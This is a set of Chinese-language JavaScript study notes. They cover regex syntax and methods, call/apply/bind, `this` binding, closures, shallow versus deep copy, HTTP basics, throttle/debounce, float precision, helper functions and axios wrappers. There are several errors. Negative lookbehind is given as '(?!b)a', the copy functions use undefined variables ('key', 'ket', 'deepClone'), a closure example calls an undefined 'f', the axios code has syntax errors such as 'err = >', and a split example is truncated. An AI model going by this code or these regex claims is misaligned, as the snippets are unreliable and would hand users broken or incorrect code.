?前面的表达式出现了0次到1次(阻止贪婪模式)[4] [a-z]? “1231234i” i可以没有
{}限定符 : 限定前面的表达式出现的次数{0,} 表示的是前面的表达式出现了0次到多次,和 *一样的
{1,} 表示的是前面的表达式出现了1次到多次,和 +一样的
{0,1} 表示的是前面的表达式出现了0次到1次,和 ?一样的
{5,10} 表示的是前面的表达式出现了5次到10次
{4} 前面的表达式出现了4次
{ ,10} 错误的，不能这么写
^以什么开始，或者是取非(取反)^[0-9] 以数字开头
^[a-z] 以小写字母开始
[ ^ 0-9 ] 取反,非数字
[ ^ a-z ] 非小写字母
$以什么结束[0-9] [a-z]$ 必须以小写字母结束
\d数字中的一个[0-9]，表示一位数字
\D非数字[^0-9]，除数字以外的任意字符
\s空白符[\t\v\n\r\f]，包含空格、水平制表、垂直制表、换行、回车、换页符
\S非空白符[^ \t\v\n\r\f]
\w非特殊符号[0-9a-zA-Z_]，表示数字、大小写字母和下划线
\W特殊符号[^0-9a-zA-Z_]，表示非单词字符
\b单词的边界
字符说明示例
(a)
(?:a)
a(?=b)匹配a后面有b
a(?!b)匹配a后面没有b
(?<=b)a匹配a前面有b
(?!b)a匹配a前面没有b

?=、?!、?<= **? 用于限定它前后的表达式，不能单独使用，本身没有作用

创建一个正则表达式

1、使用正则表达式字面量，推荐

var reg = /ab+c/;

2、使用RegExp对象的构造函数

var reg = new RegExp("ab+c");

正则表达式方法

方法描述
exec一个在字符串中执行查找匹配的RegExp方法，它返回一个数组（未匹配到则返回 null）。
test一个在字符串中测试是否匹配的RegExp方法，它返回 true 或 false。
match一个在字符串中执行查找匹配的String方法，它返回一个数组，在未匹配到时会返回 null。
matchAll一个在字符串中执行查找所有匹配的String方法，它返回一个迭代器（iterator）。
search一个在字符串中测试匹配的String方法，它返回匹配到的位置索引，或者在失败时返回-1。
replace一个在字符串中执行查找匹配的String方法，并且使用替换字符串替换掉匹配到的子字符串。
split一个使用正则表达式或者一个固定字符串分隔一个字符串，并将分隔后的子字符串存储到数组中的 String 方法。

正则表达式标志

正则表达式有四个可选参数进行全局和不分大小写搜索。这些参数既可以单独使用也可以一起使用在任何顺序和包含正则表达式的部分中

标志描述
g全局搜索。
i不区分大小写搜索。
m多行搜索。
s允许 . 匹配换行符。
u使用unicode码的模式进行匹配。
y执行“粘性”搜索,匹配从目标字符串的当前位置开始，可以使用y标志。

示例

exec()

var reg = /d(b+)d/g;
var res = reg.exec("adbbdaaa");
res // ["dbbd", "bb", index: 1, input: "adbbdaaa", groups: undefined]

test()

var reg = /^\d{1,5}$/;
var res = reg.test(12345);
res // true
var res2 = reg.test(12345789);
res2 // false

match()

注意：如果正则表达式不包含 g 标志，str.match()将返回与 RegExp.exec() 相同的结果

使用 match 查找 “Chapter” 紧跟着 1 个或多个数值字符，再紧跟着一个小数点和数值字符 0 次或多次。正则表达式包含 i 标志，因此大小写会被忽略

var str = 'For more information, see Chapter 3.4.5.1';
var reg = /see (chapter \d+(\.\d)*)/i;
var res = str.match(reg);

console.log(res);

// logs [ 'see Chapter 3.4.5.1',
//        'Chapter 3.4.5.1',
//        '.1',
//        index: 22,
//        input: 'For more information, see Chapter 3.4.5.1' ]

// 'see Chapter 3.4.5.1' 是整个匹配。
// 'Chapter 3.4.5.1' 被'(chapter \d+(\.\d)*)'捕获。
// '.1' 是被'(\.\d)'捕获的最后一个值。
// 'index' 属性(22) 是整个匹配从零开始的索引。
// 'input' 属性是被解析的原始字符串

match 使用全局（global）和忽略大小写（ignore case）标志

match 使用 global 和 ignore case 标志。A-E、a-e 的所有字母将会作为一个数组的元素返回

var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
var reg = /[A-E]/gi;
var res = str.match(reg);

console.log(res);
// ['A', 'B', 'C', 'D', 'E', 'a', 'b', 'c', 'd', 'e']

没有使用全局g

var str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
var reg = /[A-E]/i;
var res = str.match(reg);
res
// ["A", index: 0, input: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", groups: undefined]

一个非正则表达式对象作为参数

当参数是一个字符串或一个数字，它会使用new RegExp(obj)来隐式转换成一个 RegExp。如果它是一个有正号的正数，RegExp() 方法将忽略正号

var str1 = "NaN means not a number. Infinity contains -Infinity and +Infinity in JavaScript.",
    str2 = "My grandfather is 65 years old and My grandmother is 63 years old.",
    str3 = "The contract was declared null and void.";
str1.match("number");   // "number" 是字符串。返回["number"]
str1.match(NaN);        // NaN的类型是number。返回["NaN"]
str1.match(Infinity);   // Infinity的类型是number。返回["Infinity"]
str1.match(+Infinity);  // 返回["Infinity"]
str1.match(-Infinity);  // 返回["-Infinity"]
str2.match(65);         // 返回["65"]
str2.match(+65);        // 有正号的number。返回["65"]
str3.match(null);       // 返回["null"]

search()

一个在字符串中测试匹配的String方法，它返回匹配到的位置索引，或者在失败时返回-1

var str = 'hello world, how are you?';
var reg = /[^\w\s]/g; // 非数字字母下划线空格
var res = str.search(reg);
res // 11 逗号的索引是11

replace()

方法返回一个由替换值（replacement）替换一些或所有匹配的模式（pattern）后的新字符串。模式可以是一个字符串或者一个正则表达式，替换值可以是一个字符串或者一个每次匹配都要调用的回调函数

原字符串不会改变

var str = 'one dog, two dog, three dog';
var reg = /dog/g;
var res = str.replace(reg, 'cat');
res // "one cat, two cat, three cat"
var str = 'one dog, two dog, three dog';
var res = str.replace('dog', 'cat');
res // "one cat, two dog, three dog"

replace 第二个参数可以是个函数

function replacer(match, p1, p2, p3, offset, string) {
  // p1 = 非数字, p2 = 数字,  p3 = 非数字、大小写字母和下划线
  return [p1, p2, p3].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer);
console.log(newString);  // abc - 12345 - #$*%

在replace()中使用正则表达式

var str = 'Hello, One, Two, Three';
var res = str.replace(/two/i, 'One');
res // "Hello, One, One, Three"

在 replace() 中使用 global 和 ignore 选项

var str = 'One Two Three one two three';
var res = str.replace(/one/gi, '123');
res // "123 Two Three 123 two three"

交换字符串中的两个单词

使用字符串作为参数

变量名代表的值
$$插入一个 “$”。
$&插入匹配的子串。
$ `插入当前匹配的子串左边的内容。
$'插入当前匹配的子串右边的内容。
$n假如第一个参数是 RegExp对象，并且 n 是个小于100的非负整数，那么插入第 n 个括号匹配的字符串。提示：索引是从1开始
var str = "John Smith";
var reg = /(\w+)\s(\w+)/;
var res = str.replace(reg, "$2, $1");
console.log(res); // Smith, John

split()

方法使用指定的分隔符字符串将一个String对象分割成子字符串数组，以一个指定的分割字串来决定每个拆分的位置

var str = 'one two three';
var res = str.split(' '); // ["one", "two", "three"]
res[2] // "three"
var str = 'one two three';
var res = str.split(''); // ["o", "n", "e", " ", "t", "w", "o", " ", "t", "h", "r", "e", "e"]
[2] // "e"
var str = 'one two three';
var res = str.split(); // ["one two three"]

移出字符串中的空格

var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ";
var reg = /\s*(?:;|$)\s*/;
var nameList = names.split(reg);

nameList // ["Harry Trump", "Fred Barney", "Helen Rigby", "Bill Abel", "Chris Hand", ""]

限制返回值中分割元素数量

var str = "Hello World. How are you doing?";
var res = str.split(" ", 3);

res // ["Hello", "World.", "How"]

靠正则来分割使结果中包含分隔块

如果 separator 包含捕获括号（capturing parentheses），则其匹配结果将会包含在返回的数组中

var str = "Hello 1 word. Sentence number 2.";
var res = str.split(/(\d)/);

res // ["Hello ", "1", " word. Sentence number ", "2", "."]

使用一个数组来作为分隔符

lits = myString.split(['|']);

console.log(splits); //["this", "is", "a", "Test"]

const myString = 'ca,bc,a,bca,bca,bc';

const splits = myString.split(['a','b']); 
// myString.split(['a','b']) is same as myString.split(String(['a','b'])) 

console.log(splits);  //["c", "c,", "c", "c", "c"]

正则表达式字符匹配

1.两种模糊匹配

横向模糊匹配：即一个正则可匹配的字符串长度不固定，可以是多种情况

let r = /ab{2,5}c/g;
let s = "abc abbc abbbc abbbbbbc";
s.match(r); // ["abbc","abbbc"]

如 /ab{2,5}c/ 表示匹配： 第一个字符是 “a” ，然后是 2 - 5 个字符 “b” ，最后是字符 “c” ：

横向模糊匹配：即一个正则可匹配某个不确定的字符，可以有多种可能

let r = /a[123]b/g;
let s = "a0b a1b a4b";
s.match(r); // ["a1b"]

匹配规则

[a-z] // 匹配所有的小写字母 
[A-Z] // 匹配所有的大写字母 
[a-zA-Z] // 匹配所有的字母 
[0-9] // 匹配所有的数字 
[0-9\.\-] // 匹配所有的数字，句号和减号
[\f\r\t\n] // 匹配所有的白字符
^[a-z][0-9]$ // 匹配一个由一个小写字母和一位数字组成的字符串,比如"z2"、"t6"或"g7",但不是"ab2"、"r2d3" 或"b52"
^[^0-9][0-9]$ // 这个模式与"&5"、"g7"及"-2"是匹配的，但与"12"、"66"是不匹配的
[^a-z] //除了小写字母以外的所有字符 
[^\\\/\^] //除了(\)(/)(^)之外的所有字符 
[^\"\'] //除了双引号(")和单引号(')之外的所有字符
字符簇描述
^[a-zA-Z_]$所有的字母和下划线
^[[:alpha:]]{3}$所有的3个字母的单词
^a$字母a
^a{4}$aaaa
^a{2,4}$aa,aaa或aaaa
^a{1,3}$a,aa或aaa
^a{2,}$包含多于两个a的字符串
^a{2,}如：aardvark和aaab，但apple不行
a{2,}如：baad和aaa，但Nantucket不行
\t{2}两个制表符
.{2}所有的两个字符
^[a-zA-Z0-9_]{1,}$ //所有包含一个以上的字母、数字或下划线的字符串 
^[0-9]{1,}$ //所有的正数 
^\-{0,1}[0-9]{1,}$ //所有的整数 
^\-{0,1}[0-9]{0,}\.{0,1}[0-9]{0,}$ //所有的小数

与所有以一个可选的负号(-{0,1})开头(^)、跟着0个或更多的数字([0-9]{0,})、和一个可选的小数点(.{0,1})再跟上0个或多个数字([0-9]{0,})，并且没有其他任何东西($)。下面你将知道能够使用的更为简单的方法。

特殊字符”?”与{0,1}是相等的，它们都代表着：”0个或1个前面的内容”或”前面的内容是可选的”。所以刚才的例子可以简化为

^\-?[0-9]{0,}\.?[0-9]{0,}$

特殊字符”*”与{0,}是相等的，它们都代表着”0个或多个前面的内容”。最后，字符”+”与 {1,}是相等的，表示”1个或多个前面的内容”，所以上面的4个例子可以写成 

^[a-zA-Z0-9_]+$ //所有包含一个以上的字母、数字或下划线的字符串 
^[0-9]+$ //所有的正数 
^\-?[0-9]+$ //所有的整数 
^\-?[0-9]*\.?[0-9]*$ //所有的小数

创建正则表达式对象

1.通过构造函数创建对象

var reg=new RegExp(/\d{5}/);
var str="我的电话是10086";
var flag=reg.test(str);
console.log(flag);//true

2.字面量的方式创建对象

var reg=/\d{1,5}/;
var flag=reg.test("我的幸运数字:888");
console.log(flag);//true

正则测试

console.log(/./.test("除了回车换行以为的任意字符"));//true
console.log(/.*/.test("0个到多个"));//true
console.log(/.+/.test("1个到多个"));//true
console.log(/.?/.test("哈哈"));//true
console.log(/[0-9]/.test("9527"));//true
console.log(/[a-z]/.test("what"));//true
console.log(/[A-Z]/.test("Are"));//true
console.log(/[a-zA-Z]/.test("干啥子"));//false
console.log(/[0-9a-zA-Z]/.test("9ebg"));//true
console.log(/b|(ara)/.test("abra"));//true
console.log(/[a-z]{2,3}/.test("arfsf"));//true

已知 str = ‘森马男士球鞋+红色+高帮’ gg = ‘红色+高帮’ ，要求去除中间+号：’森马男士球鞋 红色+高帮’

a = '森马男士球鞋+红色+高帮';
b = '红色+高帮';
function regStr(a, b) {
    let reg = new RegExp('\\+(' + b.replace(/([+*])/g, '\\$1') + ')$');
    return a.replace(reg, ' ' + b)
}
regStr(a, b)
var b = '红色+高帮';
b.replace(/[+*]/g, '\\+'); // "红色\+高帮"
a = '森马男士球鞋+红色+高帮';
b = '红色+高帮';
function regStr(a, b) {
    let reg = new RegExp('\\+(' + b.replace(/([+*])/g, '\\+') + ')$');
    return a.replace(reg, ' ' + b)
}
regStr(a, b)

常见正则表达式

// 邮箱
var reg_email_1 = /[0-9a-zA-Z_.-]+[@][0-9a-zA-Z_.-]+([.][a-zA-Z]+){1,2}/;
var reg_email_2 = /^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$/;

// 身份证：15位或者18位
var reg_idcard_1 = /([1-9][0-9]{14})|([1-9][0-9]{16}[0-9xX])/;
var reg_idcard_2 = /([1-9][0-9]{14})([0-9]{2}[0-9xX])?/;

// QQ号
var reg_qq_1 = /[1-9][0-9]{4,10}/;
var reg_qq_2 = /\d{5,11}/;

// 手机号
var reg_phone_1 = /^1\d{10}/;

call()、apply()、bind()的区别

相同点

作用：都可以改变this的指向

不同点

区别在于接收参数的方式不同

先看明白下面

var name = '小王';
var age = 18;
var obj = {
    name: '小张',
    objAge: this.age,
    myFun: function() {
        console.log(this.name + '年龄：' + this.age);
    }
}
obj.objAge; // 18
obj.myFun(); // 小张年龄：undefined
var a = '哈哈';
function fn() {
    console.log(this.a);
}
fn(); // 哈哈

比较一下这两者 this 的差别，第一个打印里面的 this 指向 obj，第二个全局声明的 shows() 函数 this 是 window

1. call()、apply()、bind() 都是用来重定义 this 这个对象的！

var name = '小王';
var age = 18;
var obj = {
    name: '小张',
    objAge: this.age,
    myFun: function() {
        console.log(this.name + '年龄：' + this.age);
    }
}

var person = {
    name: '哈哈',
    age: 20
}

obj.myFun.call(person); // 哈哈年龄： 20
obj.myFun.apply(person); // 哈哈年龄： 20
obj.myFun.bind(person)();  // 哈哈年龄： 20

以上除了 bind 方法后面多了个 () 外 ，结果返回都一致！

2. 对比call 、bind 、 apply 传参情况下

var name = '小王';
var age = 18;
var obj = {
    name: '小张',
    objAge: this.age,
    myFun: function(a, b) {
        console.log(this.name + '年龄：' + this.age + ' 来自' + a + '去往' + b);
    }
}

var person = {
    name: '哈哈',
    age: 20
}

obj.myFun.call(person,'成都','上海'); // 哈哈年龄：20 来自成都去往上海
obj.myFun.apply(person,['成都','上海']); // 哈哈年龄：20 来自成都去往上海
obj.myFun.bind(person,'成都','上海')(); // 哈哈年龄：20 来自成都去往上海
obj.myFun.bind(person,['成都','上海'])(); // 哈哈年龄：20 来自成都,上海去往undefined

从上面四个结果不难看出:

  1. 三个函数的第一个参数都是 this 的指向对象
  2. call 的参数是直接放进去的，第二第三第 n 个参数全都用逗号分隔（其余参数都直接传递给函数）
  3. apply 的所有参数都必须放在一个数组里面传进去
  4. bind 除了返回是函数以外，它的参数和 call 一样

当然，三者的参数不限定是 string 类型，允许是各种类型，包括函数 、 object 等等！

bind

bind()方法主要就是将函数绑定到某个对象，bind()会创建一个函数，函数体内的this对象的值会被绑定到传入bind()中的第一个参数的值，例如：f.bind(obj)，实际上可以理解为obj.f()，这时f函数体内的this自然指向的是obj

function f1(x, y) {
  console.log((x + y) + ":=====>" + this.age);
}
var ff=f1.bind(null);
ff(10,20);
//30:=====>undefined
function Person() {
  this.age = 1000;
}
Person.prototype.eat = function () {
  console.log("这个是吃");
};
var per = new Person();

var ff = f1.bind(per, 10, 20);
ff();
//30:=====>1000
function Person(age) {
  this.age=age;
}
Person.prototype.play=function () {
  console.log(this+"====>"+this.age);
};

function Student(age) {
  this.age=age;
}
var per=new Person(10);
var stu=new Student(20);
//复制了一份
var ff=per.play.bind(stu);
ff();

this关键字

this是在函数调用时创建的执行上下文中自动生成的一个内部属性，它会绑定（指向）一个对象。但是函数在不同的调用方式下其内部this会绑定不同对象

JavaScript 中 this 关键词指的是它所属的对象，它拥有不同的值，具体取决于它的使用位置：

在全局环境, this 指向顶层对象 Window
普通函数和普通对象 this 指向顶层对象 Window
在方法中, this 指的是当前所属对象
在构造函数中, this 指向了 new 出来的实例对象
在构造函数中原型定义方法的 this 指向了 new 出来的实例对象
在事件中, this 指的是接收事件的元素

像 call() 和 apply() 这样的方法可以将 this 引用到任何对象

全局环境

普通函数和普通对象this指向顶层对象Window

console.log(this);   // Window

普通函数和普通对象

普通函数（无论全局还是局部）直接调用，其this指向全局对象Window

// 全局函数
function fn() {
  console.log(this);
}
fn(); // Window
// 局部函数
function fn() {
  function f() {
    console.log(this);
  }
  f();
}
fn(); // Window

普通对象

const obj = { 
  a: this,  // Window
  b: 10
}

对象方法

当对象的方法被调用时，this指向调用该方法的对象

const obj = { 
  a: this,  // Window
  b: function() {
    console.log(this); // obj对象本身  
  }
}
const fn = obj.b;
fn();  // Window
const obj = {
  a: 0,
  b: () => {
    console.log(this);
  }
}
obj.b(); // Window

构造函数

当做构造函数new出来的对象，this指向了即将new出来的实例对象

当做普通函数执行，this指向Window

function fn() {
  console.log(this); 
}
fn(); // Window
const obj = new fn();   //  fn{}, 即 obj

构造函数prototype属性

原型定义方法的this指向了实例对象。毕竟是通过对象调用的

function Fn() {
  this.a = 10;
  let a = 100;
}
Fn.prototype.fn = function() {
  console.log(this.a);
}
const obj = new Fn();
obj.fn();  // 10 说明指向了obj这个对象

特殊情况

如果在方法里面执行函数，this指向window

const obj = {
  a: 0,
  b: function () {
    console.log(this);      // obj
    function c() {
      console.log(this);    // Window
    }
    c();
  }
}
obj.b()

call ,apply, bind

this指向传入的对象

const obj = {
  a: 10
}
function fn() {
  console.log(this)
}
fn.call(obj);      // {a: 10}
fn.apply(obj);     // {a: 10}
fn.bind(obj)();    // {a: 10}

箭头函数

在方法中定义函数应该是指向window，但是箭头函数没有自己的this，所以指向上一层作用域中的this

var obj = {
  a: 10,
  b: function () {
    console.log(this); // 指向obj
    c = () => {
      console.log(this); // 指向obj，指向上一层作用域中的this
    }
    c();
  }
}
obj.b();

new 操作符

new 操作符具体干了什么

function Foo(name) {
  this.name = name;
}
var foo = new Foo('demo')
1. 开辟空间，存储创建的新的对象
2. 把this设置为当前的对象
3. 设置属性和方法的值
4. 返回当前的新的对象

闭包

概念

闭包是指能够访问其他函数内部变量的函数，简单来说就是函数嵌套函数，内部函数引用外部函数的变量或参数。

闭包的定义即：函数 A 内部有一个函数 B，函数 B 可以访问函数 A 中的变量，那么函数 B 就是闭包。

定义和用法：当一个函数的返回值是另外一个函数，而返回的那个函数如果调用了其父函数内部的其它变量，如果返回的这个函数在外部被执行，就产生了闭包。

闭包的作用

  1. 访问其他函数内部变量
  2. 主要是用来封装变量，即把变量隐藏起来，不让外面拿到和修改，保护变量不被内存回收机制回收（缓存数据）

闭包的优点和缺点

​ 缓存数据，优点也是缺陷，没有及时的释放

​ 由于闭包会使得函数中的变量都被保存在内存中，内存消耗很大，所以不能滥用闭包，否则会造成网页的性能问题，在IE中可能

导致内存泄露

一般如何产生闭包

  • 返回函数
  • 函数当做参数传递

函数模式闭包：在一个函数中有一个函数

function f1() {
    var a = 10
    function f2() {
        console.log(a)
    }
    f2()
}
f1() // 10
function f1(a) {
return function () {
console.log(a)
}
}

var fn2 = f1(10)
fn2() // 10

对象模式闭包：函数中有一个对象

function fn() {
var a = 10;
var obj = {
num: a
};
console.log(obj.num);
}
fn() // 10
function fn() {
var a = 20;
return {
num: a
}
}

var obj= fn()
console.log(obj.num) // 20

闭包小案例

普通函数

function fn() {
var a = 10;
a++;
console.log(a);
}
fn() // 11
fn() // 11
fn() // 11

函数闭包

function fn() {
var a = 10;
return function () {
        a++;
        return a;
}
}
var f = fn();
console.log(f()) // 11
console.log(f()) // 12
console.log(f()) // 13

闭包案例产生多个相同的随机数

function fn() {
var a = parseInt(Math.random()*10+1)
return function () {
        console.log(a)
}
}
var ff=fn()
f()
f()
f()
function fn() {
    var a = 100
    return function () {
        console.log(a)
    }
}
var f = fn()
var a = 200
f() // 100
var count = 10; //全局作用域 标记为flag1
function add(){
    var count = 0; //函数全局作用域 标记为flag2
    return function(){
        count += 1; // 函数的内部作用域
        console.log(count);
    }
}
var s = add()
s(); // 1
s(); // 2

根据作用域链的规则，底层作用域没有声明的变量，会向上一级找，找到就返回，没找到就一直找，直到window的变量，没有就

返回undefined。这里明显count 是函数内部的flag2 的那个count

浅拷贝和深拷贝

什么是浅拷贝？什么是深拷贝？

浅拷贝中原始类型为值传递，对象类型仍为引用传递（一般指的是把对象的第一层拷贝到一个新对象上去）；

深拷贝中所有属性都可以进行完全的复制，生成一个与原对象完全不相干的对象，也就是新对象中的所有修改都不会在原对象中有所表现

浅拷贝实现

使用Object.assign()，该方法可以把任意多个的源对象自身的可枚举属性拷贝给目标对象，然后返回目标对象。但是Object.assign() 进行的是浅拷贝，拷贝的是对象的属性的引用，而不是对象本身

var a = { count: 1, deep: { count: 2 } };
var b = Object.assign({}, a); // 该方法适用于数组或者对象
// 或者
var b = {...a};

a.count = 2;
b.count; // 1
a.deep.count = 5;
b.deep.count; // 5

原生 JS 实现

function shallowCopy(source) {
    let newSource = {};
    for (item in source) {
        if (source.hasOwnProperty(key)) {
            newSource[key] = source[key];
        }
    }
    return newSource;
}

深拷贝实现

常见的是使用JSON.parse(JSON.stringify())实现,方法比较简单方便

var a = { count: 1, deep: { count: 2 } };
var b = JSON.parse(JSON.stringify(a));
b.deep.count = 20;
console.log(a); // { count: 1, deep: { count: 2 } } <-- 沒被修改
console.log(b); // { count: 1, deep: { count: 20 } }
console.log(a === b); // false
console.log(a.deep === b.deep); // false

原生 JS 实现，递归拷贝

递归方法实现深度克隆原理：遍历对象、数组直到里边都是基本数据类型，然后再去复制，就是深度拷贝

function deepCopy(source) {
    if (typeof source !== 'object') {
        return '不是对象';
    }
    let isArray = Array.isArray(source);
    let newSource = isArray ? [] : {};
    for (let key in source) {
        if (typeof source[key] !== 'object') {
            newSource[key] = source[key];
        } else {
            newSource[key] = deepClone(source[key])
        }
    }
    return newSource
}

默写

function deepCopy(data) {
    if(typeof data !== 'object') return '不是对象';
    let newData = Array.isArray(data) ? [] : {};
    for(let key in data) {
        if(typeof data[key] !== 'object') {
            newData[key] = data[key];
        } else {
            newData[key] = deepCopy(data[key])
        }
    }
    return newData;
}

JS内存模型图

img

  • 基本数据类型的特点：直接存储在栈(stack)中的数据
  • 引用数据类型的特点：存储的是该对象在栈中引用地址，真实的数据存放在堆内存里
基本数据类型：number  string  boolean  null  undefined

引用数据类型：object  array  function

基本类型是按值访问的，不会影响到其他数据，而引用类型的值是按地址访问的，简单的赋值，实际上只是把地址复制了一遍，修改任意一个值会影响到另外一个

// 基本数据类型，不影响其他变量
var a = 10;
var b = a;
a = 20;
console.log(b); // 10
// 引用数据类型修改，会影响其他变量
var a = { count: 10 };
var b = a
console.log(b.a) // 10
a.count = 20;
console.log(b.count) // 20

从上面可以看出，基本数据类型，不影响其他变量，所以基本类型的值没有深拷贝的概念。而对象a 赋值给了b，JavaScript引擎只是将a的地址赋值给了b，他们指向同一个内存地址，并没有开辟新的栈，当修改a的值，b也被影响了，这就是浅拷贝

浅拷贝只复制指向某个对象的指针，而不复制对象本身，新旧对象还是共享同一块内存。但深拷贝会另外创造一个一模一样的对象，新对象跟原对象不共享内存，修改新对象不会改到原对象

简单来说

  • 赋值操作两个变量指向同一个对象，两者互相影响
  • 浅拷贝新生成一个对象，对象里面的属性是基本类型，拷贝的就是基本类型的值；如果属性是内存地址（引用类型），拷贝的就是内存地址
  • 深拷贝会新生成所有对象（值对象里面层层嵌套对象），对象里面的属性是基本类型，拷贝的就是基本类型的值；如果属性是内存地址（引用类型），会新生成一个对象将内容拷贝进去

GET和POST的区别

1. GET 数据传递是通过 URL 中的 ? 参数  传递到服务端的，可以在地址栏中看到传递的参数，POST 数据是通过请求体传递到服务端的，在界面上看不到

2. GET传递的数据长度有限制，因为 URL 地址长度有限（2048个字符），POST 可以提交任何类型的数据，包括文件，没有长度限制

3. GET 后退不会有影响，POST 后退会重新进行提交

4. GET 请求可以被缓存，POST 不可以被缓存

5. GET 只支持URL编码，POST 支持多种编码方式

6. GET 只支持ASCII字符，POST 没有字符类型限制

7. GET 一般用于数据查询，POST 一般用于表单提交

http相关知识点

B/S结构：浏览器-服务器（Browser/Server）结构

*C/S结构 *：客户端-服务器结构

                     权限                   路径
      ┌───────────────┴───────────────┐  ┌───┴────┐
http://username:password@example.com:3000/path/data?key=value&key2=value2#fragid1
└┬┘   └───────┬───────┘ └────┬────┘   └┬┘           └─────────┬─────────┘ └──┬──┘
协议        用户信息         主机名     端口                  查询参数          片段

HTTP 协议

超文本传输协议（英文：HyperText Transfer Protocol，缩写：HTTP）是互联网上应用最为广泛的一种网络协议

消息结构

General（大概）

Request URL: http://vmiaomalltest.vmiaomall.com/goods?id=eb6a806dcdbb4d96bd32917301125950
Request Method: GET
Status Code: 200 OK
Remote Address: 120.79.28.217:80
Referrer Policy: no-referrer-when-downgrade

Response Header（响应头）

Accept-Ranges: none
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html; charset=utf-8
Date: Thu, 12 Mar 2020 03:13:58 GMT
ETag: "233be-lFVVifPpeSiCXdB4DZHhDRxugJ0"
Server: openresty/1.13.6.2
Transfer-Encoding: chunked
Vary: Accept-Encoding

Request Header（请求头）

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cache-Control: max-age=0
Connection: keep-alive
Host: vmiaomalltest.vmiaomall.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36

Query String Parameters（请求参数）

id: eb6a806dcdbb4d96bd32917301125950

HTTP状态码

状态码描述
200返回正常
304服务端资源无变化，可使用缓存资源
400请求参数不合法
401未认证
403服务端禁止访问该资源
404服务端未找到该资源
408（请求超时） 服务器等候请求时发生超时
500服务端异常

函数的节流和防抖

节流

节流的意思是，规定时间内，只触发一次。比如我们设定500ms，在这个时间内，无论点击按钮多少次，它都只会触发一次。具体场景可以是抢购时候，由于有无数人 快速点击按钮，如果每次点击都发送请求，就会给服务器造成巨大的压力，但是我们进行节流后，就会大大减少请求的次数。

防抖

防抖的意思是，在连续的操作中，无论进行了多长时间，只有某一次的操作后在指定的时间内没有再操作，这一次才被判定有效。具体场景可以搜索框输入关键字过程中实时 请求服务器匹配搜索结果，如果不进行处理，那么就是输入框内容一直变化，导致一直发送请求。如果进行防抖处理，结果就是当我们输入内容完成后，一定时间(比如500ms)没有再 输入内容，这时再触发请求。

0.1 + 0.2 精度丢失问题

0.1和0.2在转换成二进制后会无限循环，由于标准位数的限制后面多余的位数会被截掉，此时就已经出现 了精度的损失，相加后因浮点数小数位的限制而截断的二进制数字在转换为十进制就会变成 0.30000000000000004。

小数的最大数是 17 位，但是浮点的算数并不总是 100% 精准

var x = 0.2 + 0.1;         // x 将是 0.30000000000000004

使用乘除法有助于解决上面的问题

var x = (0.2 * 10 + 0.1 * 10) / 10;       // x 将是 0.3

常见JS函数封装

// 判断对象时候为数组
function isArray(arr) {
return Object.prototype.toString.call(arr) === '[object Array]';
}

// 获取数组最大值
function max(arr) {
    return Math.max.apply(null, arr);
}

// 获取数组最小值
function min(arr) {
    return Math.min.apply(null, arr);
}

// 数组求和
function sum(arr) {
    return arr.reduce((pre, cur) => pre + cur);
}

// 数组平均值
function average(arr) {
    let sum = arr.reduce((a, b) => a + b);
    return sum / arr.length;
}

// 数组去重
function uniqueArray(arr) {
    let a = [];
    for(let i = 0; i < arr.length; i++) {
        if(a.indexOf(arr[i]) === -1) {
            a.push(arr[i])
        }
    }
    return a;
}

// 深拷贝
function deepCopy(data) {
    if(typeof data !== 'object') return '不是对象';
    let newData = Array.isArray(data) ? [] : {};
    for(let ket in data) {
        if(typeof data[key] !== 'object') {
            newData[key] = data[key];
        } else {
            newData[key] = deepCopy(data[key]);
        }
    }
    return newData;
}

// 数组排序，数组元素都是数字
function arrSort(arr) {
    return arr.sort((a, b) => a - b);
}

// 数组排序，数组元素都是对象
function arrSort(arr, key) {
    return arr.sort((i, j) => {
        let a = i[key];
        let b = j[key];
        if(a > b) {
            return 1;
        } else if(a < b) {
            return -1;
        } else {
            return 0;
        }
    })
}

http.js

import axios from 'axios';

const http = axios.create({
baseUrl: 'http://vmiaomall.com'
})

// 添加请求拦截器
http.interceptors.request.use((config) => {
    showloading(); // 显示加载
    config.url = config.url + '.do'; // 在发送请求之前做些什么
    return config;
  }, function (error) {
    return Promise.reject(error); // 对请求错误做些什么
  });

// 添加响应拦截器
axios.interceptors.response.use((res) => {
    hideLoading(); // 隐藏加载
    if(res.data) {
        return res.data; // 对响应数据做点什么
    }
  }, function (error) {
    return Promise.reject(error); // 对响应错误做点什么
  });

export default http

或者

import axios from 'axios';

axios.defaults.baseURL = 'https://vmiaomall.com/api';

export default {
    get(url, data = {}, options = {}) {
      return new Promise((resolve, reject) => {
        axios.get(url, { params: data }).then(res => {
          if (res.status === 200) {
            resolve(res.data)
          } else {
            Toast(res.data.msg)
          }
        }).
        catch(err = >{
          reject(err) let errMsg = '请求失败！请检查网络';
          if (err.response) errMsg = err.response.data.msg Toast(errMsg)
        })
      })
    },
        
    post(url, data = {}, options = {}) {
      return new Promise((resolve, reject) => {
        axios.post(url, data).then(res => {
          if (res.status === 200) {
            resolve(res.data.msg)
          } else {
            Toast(res.data)
          }
        }).
        catch(err = >{
          reject(err) let errMsg = '请求失败！请检查网络';
          if (err.response) errMsg = err.response.data.msg Toast(errMsg)
        })
      })
    }
  }

面试题

var, let, const的区别

var
var声明变量存在变量提升，可重复声明
全局变量如果页面不关闭，那么var变量就不会释放，就会占空间，消耗内存

let
用来声明变量
不可以重复声明
不存在变量提升
只在声明所在的块级作用域内有效

const
用来声明常量（不可改，只读）
不可以重复声明
不存在变量提升
不可以重新赋值
声明的时候必须初始化（赋值）
只在声明的块级作用域内有效

null和undefined的区别

